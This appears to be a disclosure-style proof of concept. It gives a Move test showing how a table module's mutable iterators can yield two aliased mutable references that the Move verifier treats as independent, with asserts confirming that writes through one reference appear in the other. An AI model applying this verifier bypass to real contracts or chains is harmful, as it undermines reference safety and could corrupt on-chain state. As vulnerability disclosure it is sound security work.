Proof of concept: Reference safety verifier bypass
The following test shows how the iterator feature of the table module can be abused to retain two mutable references, which appear to be independent to the Move verifier but in fact refer to the same underlying object.
#[test_only]
struct TestItem has key, store, drop {
v: u64,
}
#[test_only]
fun test_print_refs<T, S>(t: &mut T, s: &mut S) {
print(&utf8(b"Got references to these two objects:"));
print(t);
print(s);
}
#[test_only]
fun test_modify_ref1(t: &mut TestItem, _s: &mut TestItem, v: u64) {
t.v = v;
}
#[test_only]
fun test_modify_ref2(_t: &mut TestItem, s: &mut TestItem, v: u64) {
s.v = v;
}
#[test(account = @0x1)]
fun test_table_double_mut_ref_poc(account: signer) {
let t = new<u64, TestItem>();
add(&mut t, 1, TestItem { v: 1 });
let iter1 = iter_mut(&mut t, option::none(), option::none(), 1);
let iter2 = iter_mut(&mut t, option::none(), option::none(), 1);
assert!(prepare_mut(&mut iter1), 0);
let (_, ref1) = next_mut(&mut iter1);
assert!(prepare_mut(&mut iter2), 0);
let (_, ref2) = next_mut(&mut iter2);
test_print_refs(ref1, ref2);
test_modify_ref1(ref1, ref2, 0x42);
assert!(ref1.v == 0x42, 1);
assert!(ref2.v == 0x42, 2);
test_modify_ref2(ref1, ref2, 0x43);
assert!(ref1.v == 0x43, 3);
assert!(ref2.v == 0x43, 4);
move_to(&account, TableHolder { t });
}